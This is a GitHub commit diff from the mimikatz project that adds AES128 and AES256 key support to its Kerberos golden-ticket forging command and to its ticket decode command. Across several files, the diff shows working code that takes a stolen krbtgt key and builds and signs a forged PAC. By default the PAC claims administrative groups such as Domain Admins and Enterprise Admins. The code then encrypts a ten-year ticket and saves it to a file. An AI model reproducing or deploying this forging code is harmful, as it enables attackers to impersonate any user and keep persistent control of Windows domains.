Skip to content

Commit

Permalink
Kerberos Golden Ticket AES 128/256 support
Browse files Browse the repository at this point in the history
  • Loading branch information
gentilkiwi committed Jun 9, 2014
1 parent efecbdc commit e6eead2
Show file tree
Hide file tree
Showing 7 changed files with 107 additions and 48 deletions.
1 change: 0 additions & 1 deletion inc/globals.h
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,6 @@
#include <stdio.h>
#include <wchar.h>
#include "../modules/kull_m_output.h"
//#define NTSECAPI_HEADER_FIXED // http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader
//#define KERBEROS_TOOLS
//#define LSASS_DECRYPT
#define NET_MODULE
Expand Down
117 changes: 87 additions & 30 deletions mimikatz/modules/kerberos/kuhl_m_kerberos.c
Original file line number Diff line number Diff line change
Expand Up @@ -240,9 +240,9 @@ wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE
GROUP_MEMBERSHIP defaultGroups[] = {{513, DEFAULT_GROUP_ATTRIBUTES}, {512, DEFAULT_GROUP_ATTRIBUTES}, {520, DEFAULT_GROUP_ATTRIBUTES}, {518, DEFAULT_GROUP_ATTRIBUTES}, {519, DEFAULT_GROUP_ATTRIBUTES},};
NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{
BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0};
DWORD i, j, nbGroups, id = 500;
PCWCHAR szUser, szDomain, szSid, szNTLM, szId, szGroups, base, filename;
BYTE key[AES_256_KEY_LENGTH] = {0};
DWORD i, j, nbGroups, id = 500, keyType, keyLen;
PCWCHAR szUser, szDomain, szSid, szKey, szId, szGroups, base, filename;
PISID pSid;
PGROUP_MEMBERSHIP dynGroups = NULL, groups;
PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred;
Expand All @@ -257,7 +257,39 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{
if(ConvertStringSidToSid(szSid, (PSID *) &pSid))
{
if(kull_m_string_args_byName(argc, argv, L"krbtgt", &szNTLM, NULL))
if(kull_m_string_args_byName(argc, argv, L"rc4", &szKey, NULL) || kull_m_string_args_byName(argc, argv, L"krbtgt", &szKey, NULL))
{
keyType = KERB_ETYPE_RC4_HMAC_NT;
keyLen = LM_NTLM_HASH_LENGTH;
}
else if(kull_m_string_args_byName(argc, argv, L"aes128", &szKey, NULL))
{
if(MIMIKATZ_NT_MAJOR_VERSION >= 6)
{
keyType = KERB_ETYPE_AES128_CTS_HMAC_SHA1_96;
keyLen = AES_128_KEY_LENGTH;
}
else
{
szKey = NULL;
PRINT_ERROR(L"aes128 only supported on NT6 or >\n");
}
}
else if(kull_m_string_args_byName(argc, argv, L"aes256", &szKey, NULL))
{
if(MIMIKATZ_NT_MAJOR_VERSION >= 6)
{
keyType = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96;
keyLen = AES_256_KEY_LENGTH;
}
else
{
szKey = NULL;
PRINT_ERROR(L"aes256 only supported on NT6 or >\n");
}
}

if(szKey)
{
if(kull_m_string_args_byName(argc, argv, L"id", &szId, NULL))
id = wcstoul(szId, NULL, 0);
Expand Down Expand Up @@ -293,7 +325,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
groups = defaultGroups;
nbGroups = ARRAYSIZE(defaultGroups);
}
if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm)))
if(kull_m_string_stringToHex(szKey, key, keyLen))
{
kprintf(
L"User : %s\n"
Expand All @@ -305,10 +337,10 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
kprintf(L"%u ", groups[i]);
kprintf(L"\nkrbtgt : ");

kull_m_string_wprintf_hex(ntlm, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
kull_m_string_wprintf_hex(key, keyLen, 0); kprintf(L" - %s\n", kuhl_m_kerberos_ticket_etype(keyType));
kprintf(L"-> Ticket : %s\n\n", filename);

if(App_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, pSid, ntlm, id, groups, nbGroups))
if(App_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, pSid, key, keyLen, keyType, id, groups, nbGroups))
{
if(kull_m_file_writeData(filename, (PBYTE) App_KrbCred, kull_m_asn1_getSize(App_KrbCred)))
kprintf(L"\nFinal Ticket Saved to file !\n");
Expand All @@ -318,7 +350,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
}
else PRINT_ERROR(L"Krbtgt key size length must be 32 (16 bytes)\n");
}
else PRINT_ERROR(L"Missing krbtgt argument\n");
else PRINT_ERROR(L"Missing krbtgt key argument (/rc4 or /aes128 or /aes256)\n");

LocalFree(pSid);
}
Expand All @@ -341,7 +373,6 @@ NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD
NTSTATUS status;
PKERB_ECRYPT pCSystem;
PVOID pContext;
//DWORD bufferSize;

status = CDLocateCSystem(eType, &pCSystem);
if(NT_SUCCESS(status))
Expand All @@ -361,17 +392,16 @@ NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD
}
return status;
}
#ifndef NTSECAPI_HEADER_FIXED
const BYTE KerbFixedKey[16] = {0xde, 0xad, 0xc0, 0xde, 0x0e, 0xe0, 0xb0, 0x0b, 0xc0, 0xff, 0xee, 0x50, 0xba, 0xad, 0xf0, 0x0d}; // to be used when ntsecapi.h not fixed ! - http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader
#endif
PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, PISID sid, LPCBYTE krbtgt, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups)

PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups)
{
NTSTATUS status;
PDIRTY_ASN1_SEQUENCE_EASY App_EncTicketPart, App_KrbCred = NULL;
KIWI_KERBEROS_TICKET ticket = {0};
KERB_VALIDATION_INFO validationInfo = {0};
SYSTEMTIME st;
PPACTYPE pacType; DWORD pacTypeSize;
DWORD SignatureType;

GetSystemTime(&st); st.wMilliseconds = 0;

Expand All @@ -392,14 +422,10 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR

ticket.TicketFlags = KERB_TICKET_FLAGS_initial | KERB_TICKET_FLAGS_pre_authent | KERB_TICKET_FLAGS_renewable | KERB_TICKET_FLAGS_forwardable;
ticket.TicketKvno = 2; // windows does not care about it...
ticket.TicketEncType = ticket.KeyType = KERB_ETYPE_RC4_HMAC_NT;
ticket.Key.Length = 16;
ticket.TicketEncType = ticket.KeyType = keyType;
ticket.Key.Length = keySize;
if(ticket.Key.Value = (PUCHAR) LocalAlloc(LPTR, ticket.Key.Length))
#ifdef NTSECAPI_HEADER_FIXED // when ntsecapi.h fixed ! - http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader
RtlGenRandom(ticket.Key.Value, ticket.Key.Length);
#else
RtlCopyMemory(ticket.Key.Value, KerbFixedKey, ticket.Key.Length);
#endif
CDGenerateRandomBits(ticket.Key.Value, ticket.Key.Length);
SystemTimeToFileTime(&st, &ticket.StartTime);
st.wYear += 10;
SystemTimeToFileTime(&st, &ticket.EndTime);
Expand All @@ -421,18 +447,31 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR

validationInfo.GroupCount = cbGroups;
validationInfo.GroupIds = groups;

switch(keyType)
{
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:
SignatureType = KERB_CHECKSUM_HMAC_SHA1_96_AES128;
break;
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:
SignatureType = KERB_CHECKSUM_HMAC_SHA1_96_AES256;
break;
case KERB_ETYPE_RC4_HMAC_NT:
default:
SignatureType = KERB_CHECKSUM_HMAC_MD5;
}

if(kuhl_m_pac_validationInfo_to_PAC(&validationInfo, &pacType, &pacTypeSize))
if(kuhl_m_pac_validationInfo_to_PAC(&validationInfo, SignatureType, &pacType, &pacTypeSize))
{
kprintf(L" * PAC generated\n");
status = kuhl_m_pac_signature(pacType, pacTypeSize, krbtgt, LM_NTLM_HASH_LENGTH);
status = kuhl_m_pac_signature(pacType, pacTypeSize, key, keySize);
if(NT_SUCCESS(status))
{
kprintf(L" * PAC signed\n");
if(App_EncTicketPart = kuhl_m_kerberos_ticket_createAppEncTicketPart(&ticket, pacType, pacTypeSize))
{
kprintf(L" * EncTicketPart generated\n");
status = kuhl_m_kerberos_encrypt(ticket.TicketEncType, KRB_KEY_USAGE_AS_REP_TGS_REP, krbtgt, LM_NTLM_HASH_LENGTH, App_EncTicketPart, kull_m_asn1_getSize(App_EncTicketPart), (LPVOID *) &ticket.Ticket.Value, &ticket.Ticket.Length, TRUE);
status = kuhl_m_kerberos_encrypt(keyType, KRB_KEY_USAGE_AS_REP_TGS_REP, key, keySize, App_EncTicketPart, kull_m_asn1_getSize(App_EncTicketPart), (LPVOID *) &ticket.Ticket.Value, &ticket.Ticket.Length, TRUE);
if(NT_SUCCESS(status))
{
kprintf(L" * EncTicketPart encrypted\n");
Expand Down Expand Up @@ -462,13 +501,31 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR
NTSTATUS kuhl_m_kerberos_decode(int argc, wchar_t * argv[])
{
NTSTATUS status;
BYTE ntlm[LM_NTLM_HASH_LENGTH];
PCWCHAR szNtlm, szIn, szOut, szOffset, szSize;
BYTE key[AES_256_KEY_LENGTH]; // max len
PCWCHAR szKey, szIn, szOut, szOffset, szSize;
PBYTE encData, decData;
DWORD encSize, decSize, offset = 0, size = 0;
DWORD keyType, keyLen, encSize, decSize, offset = 0, size = 0;


if(kull_m_string_args_byName(argc, argv, L"key", &szNtlm, NULL))
if(kull_m_string_args_byName(argc, argv, L"rc4", &szKey, NULL))
{
keyType = KERB_ETYPE_RC4_HMAC_NT;
keyLen = LM_NTLM_HASH_LENGTH;
}
else if(kull_m_string_args_byName(argc, argv, L"aes128", &szKey, NULL))
{
keyType = KERB_ETYPE_AES128_CTS_HMAC_SHA1_96;
keyLen = AES_128_KEY_LENGTH;
}
else if(kull_m_string_args_byName(argc, argv, L"aes256", &szKey, NULL))
{
keyType = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96;
keyLen = AES_256_KEY_LENGTH;
}

if(szKey)
{
kprintf(L"Key is OK (%08x - %u)\n", keyType, keyLen);
if(kull_m_string_args_byName(argc, argv, L"in", &szIn, NULL))
{
kull_m_string_args_byName(argc, argv, L"out", &szOut, L"out.kirbi");
Expand All @@ -483,9 +540,9 @@ NTSTATUS kuhl_m_kerberos_decode(int argc, wchar_t * argv[])
size = wcstoul(szSize, NULL, 0);
}

if(kull_m_string_stringToHex(szNtlm, ntlm, sizeof(ntlm)))
if(kull_m_string_stringToHex(szKey, key, keyLen))
{
status = kuhl_m_kerberos_encrypt(KERB_ETYPE_RC4_HMAC_NT, KRB_KEY_USAGE_AS_REP_TGS_REP, ntlm, LM_NTLM_HASH_LENGTH, encData + offset, offset ? size : encSize, (LPVOID *) &decData, &decSize, FALSE);
status = kuhl_m_kerberos_encrypt(keyType, KRB_KEY_USAGE_AS_REP_TGS_REP, key, keyLen, encData + offset, offset ? size : encSize, (LPVOID *) &decData, &decSize, FALSE);
if(NT_SUCCESS(status))
{
if(kull_m_file_writeData(szOut, (PBYTE) decData, decSize))
Expand All @@ -502,7 +559,7 @@ NTSTATUS kuhl_m_kerberos_decode(int argc, wchar_t * argv[])
}
else PRINT_ERROR(L"arg \'in\' missing\n");
}
else PRINT_ERROR(L"arg \'key\' missing\n");
else PRINT_ERROR(L"arg \'rc4\' or \'aes128\' or \'aes256\' missing\n");
return STATUS_SUCCESS;
}
#endif
2 changes: 1 addition & 1 deletion mimikatz/modules/kerberos/kuhl_m_kerberos.h
Original file line number Diff line number Diff line change
Expand Up @@ -34,5 +34,5 @@ NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_decode(int argc, wchar_t * argv[]);

wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE_INFO_EX ticket, LPCWSTR ext);
struct _DIRTY_ASN1_SEQUENCE_EASY * kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, PISID sid, LPCBYTE krbtgt, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups);
struct _DIRTY_ASN1_SEQUENCE_EASY * kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups);
NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD keySize, LPCVOID data, DWORD dataSize, LPVOID *output, DWORD *outputSize, BOOL encrypt);
18 changes: 10 additions & 8 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,15 +5,15 @@
*/
#include "kuhl_m_kerberos_pac.h"

BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PPACTYPE * pacType, DWORD * pacLength)
BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, DWORD SignatureType, PPACTYPE * pacType, DWORD * pacLength)
{
BOOL status = FALSE;
PRPCE_KERB_VALIDATION_INFO pLogonInfo = NULL;
DWORD szLogonInfo = 0, szLogonInfoAligned = 0;
PPAC_CLIENT_INFO pClientInfo = NULL;
DWORD szClientInfo = 0, szClientInfoAligned = 0;
PAC_SIGNATURE_DATA signature = {KERB_CHECKSUM_HMAC_MD5, {0}, 0, 0};
DWORD szSignature = sizeof(PAC_SIGNATURE_DATA) - 2 * sizeof(USHORT), szSignatureAligned;
PAC_SIGNATURE_DATA signature = {SignatureType, {0}};//, {0}, 0, 0};
DWORD szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned;//sizeof(PAC_SIGNATURE_DATA) - 2 * sizeof(USHORT), szSignatureAligned;
DWORD modulo, offsetData = sizeof(PACTYPE) + 3 * sizeof(PAC_INFO_BUFFER);

if(kuhl_m_pac_validationInfo_to_LOGON_INFO(validationInfo, &pLogonInfo, &szLogonInfo))
Expand All @@ -28,13 +28,15 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PPAC
if(modulo = szClientInfo % 8)
szClientInfoAligned += (8 - modulo);
}
szSignature += (SignatureType == KERB_CHECKSUM_HMAC_MD5) ? 16 : 12;

szSignatureAligned = szSignature;
if(modulo = szSignature % 8)
szSignatureAligned += 8 - modulo;

if(pLogonInfo && pClientInfo)
{
*pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + 2 * sizeof(PAC_SIGNATURE_DATA);
*pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + 2 * szSignatureAligned;
if(*pacType = (PPACTYPE) LocalAlloc(LPTR, *pacLength))
{
(*pacType)->cBuffers = 4;
Expand All @@ -53,12 +55,12 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PPAC
(*pacType)->Buffers[2].cbBufferSize = szSignature;
(*pacType)->Buffers[2].ulType = PACINFO_TYPE_CHECKSUM_SRV;
(*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, &signature, (*pacType)->Buffers[2].cbBufferSize);
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));

(*pacType)->Buffers[3].cbBufferSize = szSignature;
(*pacType)->Buffers[3].ulType = PACINFO_TYPE_CHECKSUM_KDC;
(*pacType)->Buffers[3].Offset = (*pacType)->Buffers[2].Offset + szSignatureAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[3].Offset, &signature, (*pacType)->Buffers[3].cbBufferSize);
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[3].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));

status = TRUE;
}
Expand Down Expand Up @@ -86,7 +88,7 @@ NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LPCVOID key, DW
if((pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_SRV) || (pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_KDC))
{
pSignatureData = (PPAC_SIGNATURE_DATA) ((PBYTE) pacType + pacType->Buffers[i].Offset);
RtlZeroMemory(pSignatureData->Signature, 16); // ok, I deal only with KERB_CHECKSUM_HMAC_MD5, and what ?
RtlZeroMemory(pSignatureData->Signature, (pSignatureData->SignatureType == KERB_CHECKSUM_HMAC_MD5) ? 16 : 12);
if(pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_SRV)
checksumSrv = pSignatureData->Signature;
else
Expand All @@ -95,7 +97,7 @@ NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LPCVOID key, DW
}
if(checksumSrv && checksumpKdc)
{
status = CDLocateCheckSum(KERB_CHECKSUM_HMAC_MD5, &pCheckSum);
status = CDLocateCheckSum(pSignatureData->SignatureType, &pCheckSum);
if(NT_SUCCESS(status))
{
status = pCheckSum->InitializeEx(key, keySize, KERB_NON_KERB_CKSUM_SALT, &Context);
Expand Down
10 changes: 5 additions & 5 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h
Original file line number Diff line number Diff line change
Expand Up @@ -89,14 +89,14 @@ typedef struct _PACTYPE {
PAC_INFO_BUFFER Buffers[ANYSIZE_ARRAY];
} PACTYPE, *PPACTYPE;

#pragma pack(push, 4)
typedef struct _PAC_SIGNATURE_DATA {
ULONG SignatureType;
UCHAR Signature[LM_NTLM_HASH_LENGTH];
USHORT RODCIdentifier;
USHORT Reserverd;
UCHAR Signature[ANYSIZE_ARRAY];// LM_NTLM_HASH_LENGTH];
//USHORT RODCIdentifier;
//USHORT Reserverd;
} PAC_SIGNATURE_DATA, *PPAC_SIGNATURE_DATA;

#pragma pack(push, 4)
typedef struct _MARSHALLED_UNICODE_STRING {
ULONG64 ReservedElements;
ULONG32 Elements;
Expand Down Expand Up @@ -160,7 +160,7 @@ typedef struct _PAC_CLIENT_INFO {
WCHAR Name[ANYSIZE_ARRAY];
} PAC_CLIENT_INFO, *PPAC_CLIENT_INFO;

BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PPACTYPE * pacType, DWORD * pacLength);
BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, DWORD SignatureType, PPACTYPE * pacType, DWORD * pacLength);
BOOL kuhl_m_pac_validationInfo_to_LOGON_INFO(PKERB_VALIDATION_INFO validationInfo, PRPCE_KERB_VALIDATION_INFO * rpceValidationInfo, DWORD * rpceValidationInfoLength);
BOOL kuhl_m_pac_validationInfo_to_CNAME_TINFO(PKERB_VALIDATION_INFO validationInfo, PPAC_CLIENT_INFO * pacClientInfo, DWORD * pacClientInfoLength);
NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LPCVOID key, DWORD keySize);
Expand Down
5 changes: 3 additions & 2 deletions modules/kull_m_crypto_system.h
Original file line number Diff line number Diff line change
Expand Up @@ -136,7 +136,7 @@ typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZE) (DWORD unk0, PVOID * pCont
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_SUM) (PVOID pContext, DWORD Size, LPCVOID Buffer);
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_FINALIZE) (PVOID pContext, PVOID Buffer);
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_FINISH) (PVOID * pContext);
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZEEX) (LPCVOID Key, DWORD KeySize, DWORD MessageType, PVOID * pContext);
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZEEX) (LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID * pContext);

typedef struct _KERB_CHECKSUM {
LONG Type;
Expand Down Expand Up @@ -207,4 +207,5 @@ typedef struct _KERB_RNG {

extern NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT * pCSystem);
extern NTSTATUS WINAPI CDLocateCheckSum(LONG type, PKERB_CHECKSUM * pCheckSum);
extern NTSTATUS WINAPI CDLocateRng(LONG type, PKERB_RNG * pRng);
extern NTSTATUS WINAPI CDLocateRng(LONG type, PKERB_RNG * pRng);
extern NTSTATUS WINAPI CDGenerateRandomBits(LPVOID Buffer, DWORD Size);
2 changes: 1 addition & 1 deletion modules/kull_m_memory.c
Original file line number Diff line number Diff line change
Expand Up @@ -317,4 +317,4 @@ BOOL kull_m_memory_protect(IN PKULL_M_MEMORY_ADDRESS Address, IN SIZE_T dwSize,
*lpflOldProtect = OldProtect;

return status;
}
}

0 comments on commit e6eead2

Please sign in to comment.